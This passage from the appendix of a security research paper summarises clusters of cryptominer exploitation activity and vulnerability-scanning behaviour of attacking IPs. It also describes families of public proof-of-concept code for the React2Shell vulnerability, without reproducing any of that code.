2026-01-08/A Cryptominer 0.01% 952 2026-01-08 2026-02-10 telescope 12 7 6 8
2026-01-29/B Cryptominer 0.00% 265 2026-01-29 2026-01-29 honeypot 2 2 1 1

Table 4: Cluster summary
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C 1IP-level Vulnerability Scanning

Figure 12 shows the proportion of IP addresses used in Malicious Exploitation clusters (X-axis) that are also observed performing various
types of vulnerability scans (Y-axis).
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Figure 12: Vulnerability scan methods used by the same IPs performing malicious exploitation.
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D Proof of Concept Ecosystem Overview
Figure 13 shows clusters of public Proof of Concept code available on GitHub. We identify four main structural families: Compact proto
redirect, Lachlan / map-chain, Safe detector, and Action-ref.

Public React2Shell repositories grouped by structural family and variant
(snapshot using repository creation dates; solid lines are variant-level matches, dashed lines are family-level similarities)
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Figure 13: Verbose clusters of the React2Shell public exploit code repositories on GitHub and the corresponding families.
Connections were made based on family-level matchers.
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